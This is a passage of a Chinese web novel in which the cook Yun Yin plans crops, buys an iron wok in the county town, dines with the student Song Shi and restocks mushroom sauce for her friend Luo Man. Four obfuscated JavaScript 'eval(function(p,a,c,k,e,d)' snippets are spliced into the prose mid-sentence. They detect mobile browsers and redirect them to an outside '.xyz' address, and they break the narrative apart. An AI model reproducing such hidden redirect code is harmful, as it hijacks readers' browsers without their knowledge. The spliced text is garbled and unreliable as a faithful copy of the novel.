叶菜类有菠菜、生菜、小白菜、苋菜等等，跟菜类也有胡萝卜、白萝卜、甜菜根等，茎菜类也有芹菜、莴苣、洋葱、小葱韭菜等。 云音看到这里已经看不过来了，直到看到果菜类能种的，如黄瓜、南瓜、甜瓜、苦瓜、番茄、辣椒、豆角、豌豆等等还有许多都是春天能种的菜。 她顿时觉得十亩地怕都不够她种的，云音摸了摸头上的汗水，觉得还是先去临江村找钱嫂子问问，看看钱嫂子他们都种什么，最好找他们买点种子。 看完这些，云音又找了一下有没有关于蘑菇的种植技术，还真让她找到了，不过并不是草菇的种植，她大致看了一遍，觉得或许可以用于草菇种植。 等五月长草菇了，用这个办法试试看，若是能成，以后就不用担心蘑菇问题了。 想清楚后，云音把书藏好，找到还在开地的张林道：“你先继续开地，等明日我去买种子回来，之后种地的事情就交给你了。” 虽然云音那本种植大全上有写该如何种植，但她从前没种过地，让她去种地，估计最后可能连种子都收不回来，这一点她还是有自知之明的。 她还是做自己更擅长的事情，至于种地就交给张林了，直到此时，云音再次确信，把张林留下帮忙是多么正确的决定。 云音带着肉和调料回到饭摊，见依旧没有人往这个方向走，只能先做午饭了。 早上已经吃了面食，中午云音不打算吃面了，红烧肉配米饭更好吃。 云音把大骨汤放到一边，另外拿一个小釜倒点冷水，放入整条五花肉，等水开烫至半熟后，捞出肉过冷水洗干净切块。 锅里放油加入姜、八角桂皮炒出香味，加入切好的五花肉一起煸炒，等肉块两面金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178747|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄时加入糖、酱油、茱萸以及盐。用锅铲翻炒均匀，让每块肉都能均匀上色，加水大火煮开后转小火慢慢熬煮。 云音做完红烧肉，在另一个灶台把米饭蒸上，闻着肉的香气，她拿过一把白菜摘起来。 这几日都吃的大鱼大肉，是时候做个青菜了，说起来她也有几两银子，是时候去县里买一口铁锅了。 如今她做菜都用釜，炒菜很不方便，一些爆炒之类的菜，根本做不了，只能做一些炖菜。 虽然有不少炖菜，比如罗娘子家的炖羊肉，但她还是很想念炒菜，用铁锅炒出来的菜有锅气，非常的香，她吃习惯炒菜，还真有些想念。 云音边清洗青菜，边想着若是今日下午仍旧没有人来，她明日去县里看看。 铁匠铺子镇上是没有的，只有县里才有，正好云音也没去过县里，明日找罗娘子借一辆车，去县城逛一逛。 云音洗好青菜，又等了半个小时，直到红烧肉炖的软烂，她才收汁盛起来。 她快速炒好一盘青菜，去田边叫张林过来吃饭。 此时的太阳已经到了头顶，云音扇了扇风，见张林满头大汗跑过来，连忙制止道：“慢点走，也没人催你。” 张林呼哧呼哧喘气道：“云娘子，吃饭怎么能不积极呢。” 云音：“太热了可以休息一下的，也不用都全部开出来，不然你一个人也种不完。” 张林摸了摸额头的汗道：“我知道，云娘子不用担心我，我皮糙肉厚呢，这点活不算什么的。” “我们今日吃什么？”他一脸期待道。 云音也不再多说，递给他一碗饭道：“今日吃红烧肉。” 张林光是听到肉都口水泛滥，他使劲吞咽道：“跟着娘子果然有肉吃，我这几天吃的肉，比我以前一个月吃的都多。” 云音也知道张林家里以前的情况，还没逃荒时，他们家里有地，偶尔还能吃点肉，但也不多，自从逃荒后他再也没吃过肉了。 她端起饭碗道：“好了，赶紧吃吧，你看看今日的红烧肉如何，我放了茱萸，你们以前吃茱萸吗？” 云音知道龙安县的人是吃茱萸的，她还在罗娘子店里见过，就是不知道张林他们吃不吃，若是吃这一口的人不多，以后辣菜说不得要少做。 张林一口吞掉一块肉，软香甜辣，味道非常下饭，他连忙吃一口饭，吃完才回云音道：“茱萸我们那里也吃的，剑南道附近都吃这个味。” 云音见他吃得高兴，也夹起一块色泽红颜的红烧肉，肥肉晶莹剔透，夹起来时还一抖一抖的，咬一口炖得酥烂，不过轻轻一抿就在嘴里融化。 咸中带甜，甜中带辣，浓郁的酱汁，无一不说是一道下饭美食。 云音大块吃肉，连一旁的小青菜都忘在一边，连吃好几块才放慢速度，吃起青菜来。 青菜说来就平平无奇了，不过那清甜的口感正好去了口中的甜腻，云音一口青菜一口肉，见张林一点青菜都不吃，连忙招呼道：“你也吃一点青菜啊。” 张林撇了撇嘴道：“有肉吃，谁还吃青菜啊。” 云音瞪了他一眼，他才一脸不情愿的吃起青菜来。 虽然云音也是无肉不欢，但也不能只吃肉不吃青菜，况且这青菜是用猪肉炒的，也是很香的。 12. 第12间客栈 吃完饭，云音又去看了看张林开的地，第二亩也翻了一半，她找来张林道：“我看这地不是特别肥，你们以前种地都是怎么施肥的？” 张林认真回忆一会儿后道：“用养的鸡粪和麦子稻子的秸秆切碎，一起沤肥的。” “娘子不用担心，等我开完地，我就去沤肥。鸡粪没有，山里有很多鸟粪的，那个用来堆肥也可以的。” 云音想起她在种植书上看到过的沤肥方法，她点头道：“我这里有一个方法，你也试试，多堆点肥，这里的地怕是要用很多肥，才能养好。” 云音仔细跟他讲一遍，其实这种农家肥的沤肥方法，大部分与张林他们之前的方法一致，不过需要把麦秸秆切碎，用水浇一浇，保持湿度，这样更容易腐烂。 除了这些，还可以挖山里的腐叶，做饭剩下的厨余垃圾等，加上草木灰一起进去沤肥。 上面再盖上草编的草盖，避免水分快速蒸发，时不时还需要加入水分，保持湿度，这样堆出来的肥就是优质肥了。 云音给她特意强调一些重点，比如温度，湿度，以及通风等等问题，等全部讲完嘴唇都干了。 她喝一口水润润喉道：“你先试试看，若是还有问题，再来找我。” 张林挠了挠脑袋拿着锄头继续干活了，也不知他有没有记住。 云音回了饭摊，想继续等商队前来。 可直到天黑下来，云音也没能等到下一个商队，她收拾好东西，其他不好拿的放在小摊上，让张林帮忙照看。 她想着若是明日早上依旧没有人来，她便去县城把铁锅买回来。 翌日一大早，云音艰难从床上爬起来，此时天空才蒙蒙亮，连月亮都还能隐约可见，她活动完筋骨带着东西去了小摊，此时张林也已经起床了。 看着依旧没有人往来的官道，张林哭丧着脸道：“娘子，这可怎么办啊，今日若还是没人来，我们要去其他地方摆摊吗？” 云音放下手里的东西，“正好还没揉面，先歇业一天，我去县里买个铁锅回来，顺便去县城打听一下情况。” “官道上有盗匪，县衙那边或许有通告，我去看看，你今日继续开荒沤肥吧。” 交代完事情，云音回趟小屋，带上东西去镇上找罗蔓。 此时镇上依旧如同平常一样，该干活的依旧干活，该出摊的依旧出摊，并没有听到任何人提起山匪一事。 云音找到罗蔓时，她正在打着算盘，整理这些日子的盈余，看到她过来，眼前一亮道：“妹子怎么来了，今日怎么不是那姓张的小子过来？” 这几日云音安排张林来镇上买骨头时，都会让他给罗蔓这边带一篮子榆钱和香椿，今日因为她打算去县里，所以给罗蔓带东西也换成了她。 云音不好意思笑笑道：“我过来是有事求阿蔓姐，不知是否方便。” 罗蔓收起笑容，放下算盘，带着云音回了后院道：“妹子是遇到什么难事了？” 云音放下篮子道：“阿蔓姐，不知你今日是否用车，若是方便能否借一借车与车夫，我打算去县城一趟。” 罗蔓轻拍胸脯道：“我还以为什么事呢，原来只是借车这么小的事情。” 她回身叫一声：“赵钱过来一趟。” 本就在后院打扫的赵钱听到叫他，连忙跑过去道：“东家找我何事？” 罗蔓道：“你去套车，送云娘子去一趟县城。” 云音等赵钱走后，抿抿嘴笑了笑道：“实在是给阿蔓姐添麻烦了。” 罗蔓摇摇头道：“不过是些小事，妹子你就是太过客气了。” “我还没感谢你呢，你之前交给我的几道小吃，果然很受那些读书人喜欢。” “我让人在县里的饭馆做了这几道小菜，生意都好了不少。” 云音诧异道：“原来阿蔓姐在县城里也有饭馆啊，真厉害。” 罗蔓摆摆手道：“哪有你说的那般厉害，只不过是糊口罢了，要说县城里最有名的酒楼，还是绵州里来的人开的满香居更为有名。 听说在绵州也是有名的酒楼，绵州之下的许多县都有分店。他们家的八宝鸡特别有名，云娘子若是去了一定要尝尝。” 云音笑着点头道：“多谢阿蔓姐推荐，我一定尝尝。” 她也确实要尝一尝龙安县饭馆的手艺，罗娘子家的招牌炖羊肉，她已经尝过了，确实一绝，也怪不得能在镇上和县里都站稳脚跟。 云音离开前问了问罗蔓：“阿蔓姐知道最近附近有盗匪吗？” 罗蔓一脸惊讶道：“妹子从哪里听来的，我并没听到什么消息，县里也没什么传闻啊？” 她想了想道：“不过我上次去县里已经过了许久，或许有什么我不知的消息也说不定。妹子这次去县里，是打听这个事情吗？” 云音摇摇头道：“这只是其一，最主要的还是打算去买个铁锅，做菜方便。” “买铁锅啊，那确实是需要去县里的铁匠铺，因为我们家主要做炖菜，基本用不上铁锅，所以没买。铁锅还是挺贵的，一个至少要两贯钱呢。” 云音之前就猜到铁锅肯定会很贵，没想到竟然要两贯，她深呼一口气，这铁锅一买，她的存银要少一大半。 不过不买也不行，云音用惯了铁锅炒菜，炖菜，用釜做菜还是不太习惯，所以就算很贵，她也打算买一个。 云音道：“既然阿蔓姐也没听过盗匪一事，那我去县里看看情况，若是有消息，也告诉你一声。不过阿蔓姐最近若是出门，也要当心，不怕一万就怕万一。” 罗蔓点了点头道：“我晓得的，你放心，我近期不打算出门，就连县里也不打算去的，若是你那边得了消息，可一定要告诉我一声哈。” 云音答应下来，与罗蔓告别，坐上马车，慢悠悠往县城而去。赵钱赶车很平稳，速度不快也不慢，几乎没让她感受什么颠簸，就平安到达县城。 她感叹一声赵钱赶车的技术，想着日后若是有车是不是让张林也去学一学，或者自己学一下。她这样想着正想下车看看龙安县是什么情况时，一道惊喜的声音在车外响起。 “是罗娘子吗？你终于来县城里了。”那男子用讨好的声音继续道，“既然罗娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178748|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子来县城了，怎么不告诉我一声，我请你吃饭啊。” 云音正一头雾水呢，前去与人交涉停车的赵钱跑回来道：“宋郎君，您认错人了，车里坐的不是我们东家。” 那男子一把推开赵钱道：“走开，我跟罗娘子说话，有你什么事。” 云音一把掀开车帘从车上跳下来道：“他说得不错，你确实是找错人了。” 云音抬头看向眼前拦车的男子，头戴玉冠，身着一身圆领广袖长袍，透着一股书卷气，看着倒是风流潇洒，可做的事却又像极了纨绔子弟。 宋郎君看着出来的人虽然长得貌美，但却不是他想见的的人，刚刚还眉开眼笑的人，立刻沉着脸道：“你是谁？怎么用罗娘子的马车，罗娘子人呢？” 云音并不打算搭理她，与赵钱说一声，要走时，被那男子拦下道：“我与你说话呢，你怎么不理我，我只是想知道罗娘子如今近况如何了。” “她都将近一个月不来县城了，是不是我哪里做的不好，所以才让她一直避着我。若不是还要读书，家里也不让我出城，不然我早就去镇上找罗娘子了。” 云音并不想听这个陌生男子说些有的没得，她也不想知道他与罗娘子之间的关系，她打断这男子道：“我确实不知，我还有事就先告辞了。” 云音避开他，看了看方向，要往城中方向走去时，那男子追上来道：“怎么可能不知，你若是与罗娘子不熟，她怎么会借你马车呢。” “你有何事要办，可说与我听听，这县城我可熟悉了，就没有我不知道的事情。” 云音打量他片刻道：“还未问小郎君姓名呢？” 那男子拍拍衣摆，昂首挺胸道：“我叫宋时，如今正在县学里上学，小娘子如何称呼？” 云音假笑一声道：“我姓云，你叫我云娘子就好。” 云音并不打算与他多交，所以并未告知他名字，她只是看他打扮应当是官宦子弟，所以想从他那里打听一些情况。 她轻咳一声道：“不知铁匠铺怎么走，可否指个路。” 宋时撇撇嘴道：“我还以为你要办啥事，原来只是想去铁匠铺啊。罢了，正好今日我有空闲，就带你去一趟，若是你能告诉我罗娘子的近况，那就更好了。” 云音与宋时一道往前走时，一声急切的呼叫从旁边传来，“郎君郎君，您等等啊。” 云音望去，见一少年正从那头往这边挤，她扬了扬下巴对宋时道：“是找你的？” 宋时并不往那边看，带着云音往另一个方向去，边走边道：“不用管，我们走吧。” 云音也不想多管闲事，跟上宋时的步伐继续走，还没走几步路，那少年追上来道：“郎君，我们该回家了，不然若是主母知道，必定饶不了奴的。” 宋时一脸不耐烦道：“你是我的书僮，还是我娘的，我白日上学已经够烦的了，连休沐日都不能痛痛快快，你若还当我是主子，就闭嘴跟上。” 云音并没有关注主仆二人的争吵，她此时的注意力都在远处那道熟悉的身影上，她喃喃自语道：“他怎么会在这里。” 13. 第13间客栈 宋时转过头，见云音一直盯着前方，他也好奇看去，看到一个熟悉的身影，他惊讶道：“你认识周县尉？” 云音转头道：“你说的是谁？” 宋时指了指前面带着衙役往城门方向去的男子道：“就是他啊，周昌，我们龙安县的县尉。” 云音移开视线，看了眼周昌道：“不认识，我看他旁边的男子有些眼熟，应该是我认识的人。” 宋时抬眼看去，正好看到那个男子的背影，他想想道：“你说的应该是傅望吧。” 云音回头看他：“你认识他？” “不算认识，我只是听说过。”宋时一边走一边道，“听说傅望与周昌都在一个军营效力，二人关系不错，周昌从军营退了回龙安县做了县尉。至于傅望我只知道好似在走镖，具体的不太清楚。” “毕竟我与他们也不熟，这些还都是听的小道消息。” 云音：“那你的小道消息还挺灵通的嘛，这些都知道。” 宋时扬唇一笑道：“我不是说过了，对于县城就没我不知道的事情。” 云音笑笑：“那你知道县城最近有什么一般人都不知道的大消息？” “大消息？我还真没听说。”宋时认真回忆，良久摸摸鼻子道，“最近县城没发生什么大事啊，除了县令要修水利。” 云音一看他这模样，就知道他不清楚盗匪一事，她斟酌片刻问：“你说你家里最近不让你出城了？” 提起这事，宋时一肚子气，他哼了一声道：“是啊，也不知是不是因为罗娘子的事情，最近家里人都不让我出城，罗娘子也不来县城了，让我想见她都不能。” 宋时一脸郁闷看着云音道：“我本来还以为是罗娘子来县城了呢，没想到竟然不是。” 云音不受影响，无视他道：“我都说了，我对罗娘子的事情不了解，你找我也是白找。” 就算云音知道，她也不会告诉宋时的，说到底云音又不认识他，谁知道他是什么人，她怎么能把阿蔓姐的事情告诉一个不知是谁的人呢。 “好了，我看到铁匠铺了，多谢你了。” 宋时见她用完就扔，咬了咬牙道：“我才不信你与罗娘子不熟呢，反正我今日正好无事，看是你能坚持还是我更能坚持，我就不信问不出来。” 云音进了铁匠铺，此时店里并没有什么人，她左右看看，大部分都是些农具，武器很少，她拿起一把横刀细看，工艺还算不错，虽然与现代工艺不能比，但也算精巧了。 云音放下横刀，询问道：“掌柜的，有铁锅吗？” 听到声音从后院出来的掌柜连声道：“小娘子来得巧了，正好还有一个铁锅，您瞧瞧如何。” 那掌柜从架子上取下一个铁锅递给云音，介绍道：“这铁锅我们打的比较少，这个是最后一个了，下次再打要下个月了。” 云音接过那个大铁锅，颠了颠道：“还不错，多少钱。” “价格是固定的，两贯钱。” 云音打量店铺一圈后道：“价格优惠一点吧，两贯也不便宜了。” 掌柜一脸为难道：“小娘子，这是公道价格，我们一直卖这个价格的。” “那送我个铲子可以吧。”云音指着旁边摆着的锅铲道。 那掌柜纠结一二道：“行吧，那我帮小娘子包起来。” 云音正打算付钱，宋时走进来道：“云娘子要买什么？哪里用得着你付钱，我来付。” 云音不搭理他，递给掌柜二两银子道：“掌柜的，收好了。” 掌柜见云音给的官银，也不理会才进来的宋时，眉开眼笑道：“多谢多谢，下次再来啊。” 云音拿着铁锅走出铁匠铺，宋时见没人理他，也不生气，继续跟着她道：“云娘子接下来打算去哪里？我给你带路。” 云音停下脚步道：“我都跟你说过了，我真不清楚罗娘子的事情，你既然想知道，问赵钱不是更方便。” 宋时皱了皱道：“那赵钱就是个闷葫芦，问他什么都说，我才懒得问他。” 云音冷下脸来：“所以我看着好欺负？” 宋时见她生气，赶紧道歉道：“是我不好，我也是想知道罗娘子的境况，她如今还好吗？族里还有没有人找她麻烦，你就告诉我一声，求求你了。” 云音实在不想与他在街上拉扯，点头道：“罗娘子一切安好，你不用担忧，也没听说她有什么麻烦。” 宋时松了一口气道：“那就好，那就好。” 云音见他终于不再追着问，她继续往集市走去。 龙安县比平溪镇热闹许多，不光店铺多，连出来逛街的人也多。 云音再次躲过旁边挤来的人群，对一直跟着她的宋时道：“你还有什么事？” “哎，我就是没事啊。”宋时笑笑后道，“这不随便逛逛嘛。” “云娘子还想买什么？对了我请你吃饭吧，你吃过满香居的八宝鸡没，那滋味绝了。” 云音已经看到药铺，她进去买了一些香料，付钱的时候她一阵肉疼，好在做菜放的少，这些能用许久。转头又买了一些其他厨房需要的东西，见宋时依旧跟着，她只好回他：“看来满香居的饭味道不错，我看你们都很推荐，那确实需要尝一尝。” 宋时一听这话，连忙道：“你一定要尝一尝，罗娘子也很喜欢他们家的八宝鸡。” 他沉默须臾后还是道：“你等会回去的时候，能否帮忙带一份回去给她。” 云音摇头：“我不能帮你带，不过我可以自己买一份带给她。” 宋时眼中的光瞬间暗淡下来，他垂头丧气道：“算了，那你帮她带也好，若是我带她恐怕也不愿意接受。” “那我请你吃饭这总可以吧。” 云音拒绝道：“无功不受禄，怎么好占你便宜，我自己去。” 宋时拦住她道：“你就给我这个机会吧，当作之前冲撞你的赔礼。” 云音见他态度真诚，略一沉思便应下，多个认识的人也好。 宋时见她答应，立刻叫书僮去定位置，他则跟着云音一边逛县城，一边介绍满香居的美食。 “要说满香居除了八宝鸡，他们做的烧鸡和荷叶蒸鸡也特别美味。”宋时舔了舔嘴唇道，“他们家其他菜都算一般，但鸡做得确实好吃。” “不过罗娘子家的羊肉味道也很好，我经常去他们家吃，你吃过罗娘子家的清炖羊肉吧。” 云音颔首道：“云娘子做的羊肉味道确实好，口感酥软，汤汁鲜美，加入饼子又是不同的风味。” “没错，没错。”宋时一脸赞同点头道，“我便是因为常常吃罗娘子家的羊肉，才认识她的。” “哎，我想娶她，可惜她不愿意。” 云音瞥一眼天真的宋时道：“你家里人愿意？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178749|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 宋时叹口气道：“我家里人想让我娶官宦家的小娘子，说是对日后仕途有帮助。” “可我哪里是读书的料啊，现在在县学也不过是倒数。再说就算我读书很厉害，我也不想娶我不喜欢的人，我就想娶罗娘子。” 云音也不想打击他，“那你继续努力，说不得就能名列前茅了。” “哎，算了吧，不想这些了，还是去吃好吃的吧。” 云音顺着他视线看去，前方一座两层楼屹立，门前挂着的满香居招牌随风飘荡，店门上还挂有店里招牌菜，比如八宝鸡和烧鸡等。 她跟着宋时上了二楼，坐在靠窗的位置上，看着他点餐。 宋时点了店里的招牌，问云音道：“云娘子还有什么想吃的吗？” 云音瞧一眼他点的菜，摇摇头道：“这些就够了，再说你也更熟悉这里，你点就好。” 宋时笑着点头道：“那先点这些，若是不够再加。” 满香居上菜速度很快，云音一边观察一边学习，等菜上齐，她先尝了尝罗娘子和宋时都很推荐的八宝鸡。 八宝鸡色泽金黄，外酥里嫩，里面的糯米浸入鸡的香味，非常入味，莲子也自带一股清香，与鸡肉搭配可谓一绝。 这道菜最难的点便是整鸡脱骨，若是一个不小心，鸡皮便会破裂，云音仔细检查一遍，这只鸡很完整，脱骨脱的也很干净，厨子手法很老道。 八宝鸡里的八宝不同的地方会有所替换，靠海的地方会多用海鲜，靠山的地方山珍会多些，但里面的糯米是必不可少的，这道菜的灵魂便是吸入汤汁的糯米。 满香居的八宝鸡用的八宝是糯米、莲子、红豆、栗子、笋、菌菇、火腿、干虾，咸香软糯，干虾又为它增添海鲜的风味，不怪能让人恋恋不忘。 除了这些配料，这家店的厨子还提供椒盐，椒盐配上鸡肉，又是另一种味道，让一只鸡有了两种不同的吃法，云音吃完点头道：“味道确实鲜美，厨子手艺十分不错。” 宋时高兴道：“是吧，我就说没有人能不爱这个八宝鸡，云娘子你常常这道荷叶蒸鸡，与八宝鸡又是不一样的味道。” 云音把招牌菜尝了个遍，果然不愧是能在绵州开店的手艺，确实让人吃了还想吃。 她看着还剩不少的椒盐，她突然想吃椒盐虾了。 可惜满香居并不怎么做水里的东西，不论是鱼还是虾，在这家店几乎看不到，即便用了，也是拿来调味的，看来这家大厨不擅长做鱼。 不过云音却很擅长，不论是鱼虾还是螃蟹，她都很爱吃，以前也专门学过如何做，或许她以后也应该有个招牌菜。 就像罗娘子做的羊肉，这满香居的鸡肉，她可以做鱼啊。 云音见宋时吃完，问他：“龙安县的人不爱吃鱼吗？我都没看见什么鱼。” 宋时喝完一口茶道：“吃啊，怎么不吃，不过能把鱼做的好吃，也是需要手艺的，做得不好会很腥。你别看我们离平江很近，但送到县城里的鱼很多时候也不那么新鲜了，所以还真没什么店做鱼，就算做也是红烧的做法。我很喜欢鱼生，可惜这道菜必须要吃新鲜的。” 云音听到这里就明白了，这可是她的优势啊，她住的地方有一条小河，不远处是平江，天然不缺鱼啊。 她莞尔一笑道：“多谢宋郎君，今日你请我吃了一餐美味，下次我也请你吃鱼，可一定要来啊。” 14. 第14间客栈 宋时听到云音的话，一脸惊讶道：“原来云娘子也是开饭馆的吗？怪不得与罗娘子相熟。” “不知云娘子拿手菜是什么，饭店在哪里？也是平溪镇吗？” 宋时的问题一个接一个，云音一一回答道：“就在临江村山对面的官道上，你以后能出城了，可以过来尝尝。” “我许多菜都能做，有什么食材便做什么菜吧。” 云音想到一事，她笑道：“你们学里不是有种蘑菇酱很受欢迎吗？那个就是我做的。” 宋时张大嘴巴：“原来蘑菇酱竟然是云娘子做的啊。” 他看了看四周，见没有人注意他们，小声问：“云娘子，你还有蘑菇酱吗？你不知道，这个酱在我们学里可受欢迎了，用来拌面，就着馒头吃，都很好吃。” “可惜份量太少了，一个人顶多只能买一罐，这怎么够吃呢。” 宋时叹口气道：“我们学里的饭食实在是太难吃了，什么水煮白菜，水煮萝卜的，真心不想吃。” 云音知道宋时是真心想要，可此时她确实拿不出来，她摇摇头道：“我如今也没有多的了，罗娘子店里没有了吗？” 她没记错的话，这一次的蘑菇酱才给她不久吧。 宋时忍住要翻的白眼道：“若是罗娘子店里有，我还会找你吗？” 云音见状也无可奈何道：“那我这里还真没有了，只能等下次再做了。” “唉，若是我能出城就好了。”宋时一脸失望，突然他眼前一亮道，“云娘子，你下回什么时候来县城，可以给我带点啊。” 云音想了想道：“短时间应当不会再来了，我需要的东西都买好了。” 至于盗匪一事，恐怕在县城打听不到什么，就算确有其事，估计也被隐瞒了，连主簿家的郎君都不清楚，她更不可能打听到。 没错，云音已经知道宋时是主簿家的小儿子，正在县学读书。 她看着还想出城的宋时安慰道：“你再忍几天，说不定就罗娘子那里又有了，我这边做新的酱后，都会给她送一份的。” “只能这样了。”宋时起身结账道，“我送你出去吧。” 云音接过掌柜打包好的两份八宝鸡，付了钱对他道：“不用了，我已经知道路了，你去忙你的吧，有机会来吃我做的鱼啊。” 和宋时告别，云音又去买了蒸笼，这才大包小包去了停放车马的地方。 回平溪镇的一路也很顺利，云音注意到之前总是能见到的衙役如今也很少看见了，她想起之前在城门口看到的傅望和周昌，不知会不会是傅望将盗匪一事告知了周昌。 毕竟周昌是龙安县的县尉，负责整个县和其他乡镇的安危，若是有盗匪出没，县尉肯定不能视而不见的。 不过这些都是她的猜测，一时半会儿也无法知道真相，只希望她的猜测成真，这样也不会影响她的生意。 她的小饭摊才开张一天，就被迫歇业了，也不知道什么时候才能赚到十贯钱，把那片山谷买下来了。 云音进了罗家饭馆的后院，此时罗蔓正在指挥人打扫院子，刚刚杀过羊的院子还有些血腥气，听到马车的声音，罗蔓笑着招呼道：“妹子回的可真快，怎么不多在县城里逛逛。” 云音下了马车，把车里的东西也拿出来道：“东西都买好了，我也惦记着家里，所以就回来了。” 她把还温热的八宝鸡递给罗蔓道：“正好我这次去满香居吃了八宝鸡，给你也带了一只。” 罗蔓看着还散发着香气的八宝鸡喃喃道：“你遇到宋时了？” 云音手顿了顿，她并不打算提起宋时，她不清楚罗蔓与宋时之间的瓜葛，提与不提都是徒增烦劳。 没想到罗蔓自己就猜到了，云音笑了笑道：“就不能是我自己吃着觉得美味，给你带的嘛。” 罗蔓抿了抿嘴，接过八宝鸡道：“那你是不是遇到宋时了？” 云音点头道：“是遇到了，他刚开始还以为是你去了县城，差点闹了误会。” 云音其实是有点好奇的，既然罗蔓自己问了，她也把心中的疑惑问出口：“阿蔓姐，你和宋郎君……” 罗蔓握紧八宝鸡，苦笑一声道：“也没什么不能说出口的。妹子知道我曾经成过亲，可惜他没个好命，不过一年就早早去了。” “我与宋时不过是食客与厨子的关系，他喜欢我的手艺，所以常来镇上吃我做的饭，后来我去县城开了店，他也常常光顾，一来二去就熟了。” “我知道你肯定也听他提起想娶我的事情。”罗蔓摇摇头道，“不说我曾经成过亲，就是没成过亲，跟他那样的官宦子弟也是没有结果的。” 云音听到她贬低自己，不赞同道：“我倒是觉得阿蔓姐很是能干，能一个人操持这份家业，还能做得如此好，阿蔓姐可不要妄自菲薄啊。” 罗蔓听了她的话噗嗤一声笑出来道：“我知道，我并不是自惭形秽，这些都是实情罢了，我们这样的商户小娘子给官宦家子弟做妾，他们都还嫌不够资格呢。我们又何必上赶着，如今我觉得这生活也还不错，每日都很充实。” 云音见罗蔓确实不放在心上，她笑道：“阿蔓姐能这样想可见心胸开阔。” “我这次去县城并没有听说有人提起盗匪一事，就连宋时也并不清楚。不过我觉得他们家应该是知道些什么的，如今都不让他出城了。” 罗蔓沉思后道：“怪不得我说怎么许久没见着他了，我还当他放弃了，原来还真有盗匪啊。” 她担忧道：“我们住在镇上还算安全，妹子你可要当心了，你不是就住在官道附近吗？” 罗蔓皱了皱眉道：“要我说妹子就应该搬到镇上来，哪怕你来镇上做吃食，也并不会影响到我，以前又不是没人开过饭店。” 云音摇摇头道：“阿蔓姐不用担心，我还算会点拳脚功夫，会保护好自己的，不会拿性命开玩笑的。” 她说完此事，想到宋时提起没有蘑菇酱的事情，她连忙询问：“阿蔓姐，我听宋时提起，县城的蘑菇酱卖完了，我不是才给你一批吗？” 罗蔓听她提起此时，连拍脑袋道：“你不说我差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178750|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点都忘记这事了，确实卖完了，你之前给我的那批，被一个回绵州的商人全部带走了。我还没来得及与你说，你这边要再做一批了，这次多做点，五十罐吧，依旧十罐素蘑菇，其他都要肉蘑菇。” 罗蔓回房间拿了钱给她道：“这是给你的货钱。” 云音接过这一大袋子沉甸甸的铜钱，笑呵呵道：“那我尽快做好给阿蔓姐送来。” 云音收拾东西打算离开，罗蔓见她东西这么多，连忙道：“还是让赵钱送你回去吧，他赶车很快能到。” 云音也没跟她客气，正好趁着有车，把装蘑菇酱的陶罐买了，顺便买一个小的石磨，她想磨点椒盐。 今日吃八宝鸡时，看到那叠椒盐，她就想吃椒盐虾了，可惜满香居不卖椒盐，她只能自己动手。 买完陶罐和石磨，云音又去拿定好的肉，本来她也是想多做点蘑菇酱放着，没想到罗蔓那边正需要，正好这肉拿来做蘑菇酱。 她还找掌柜买了点板油，打算再熬点猪油，上次做的猪油不剩多少了。 云音带着满满一大堆东西，坐车回了山谷。 此时饭摊空无一人，赵钱帮云音卸下货物，赶着车离开。云音看看张林锁着的屋子，猜测他应该在田里。 她往那边走了一段路，果然看见还在干活的张林，她大声叫了一声，张林听到后立刻跑过来道：“云娘子回来了。” 云音看着张林满头大汗，她倒一杯水给他道：“不是让你太阳大时就休息吗，怎么这个时候还在田里，你吃午食了没？” 她走时有跟他说中午不回来，让他自己做饭解决。云音听到他还没吃饭，话堵在喉咙，好半晌才道：“以后中午休息一个时辰，听见没。” 张林憨憨一笑道：“我知道了，云娘子。” 云音去蒸了米饭，把带回来的八宝鸡也热了热，对他道：“你干活这么卖力，不给你工钱好像是在压榨你一般。” “云娘子这话说的，当初若不是你放过我，还收留我，给我吃的住的，我如今是死是活都还不知道呢。。” “云娘子不用觉得抱歉，当初是我做错事，娘子还愿意给我机会，我从心里感激娘子。” 张林笑得眼睛都眯起来：“况且我现在过的已经很好了，吃喝不愁，还不用担心被抓。” 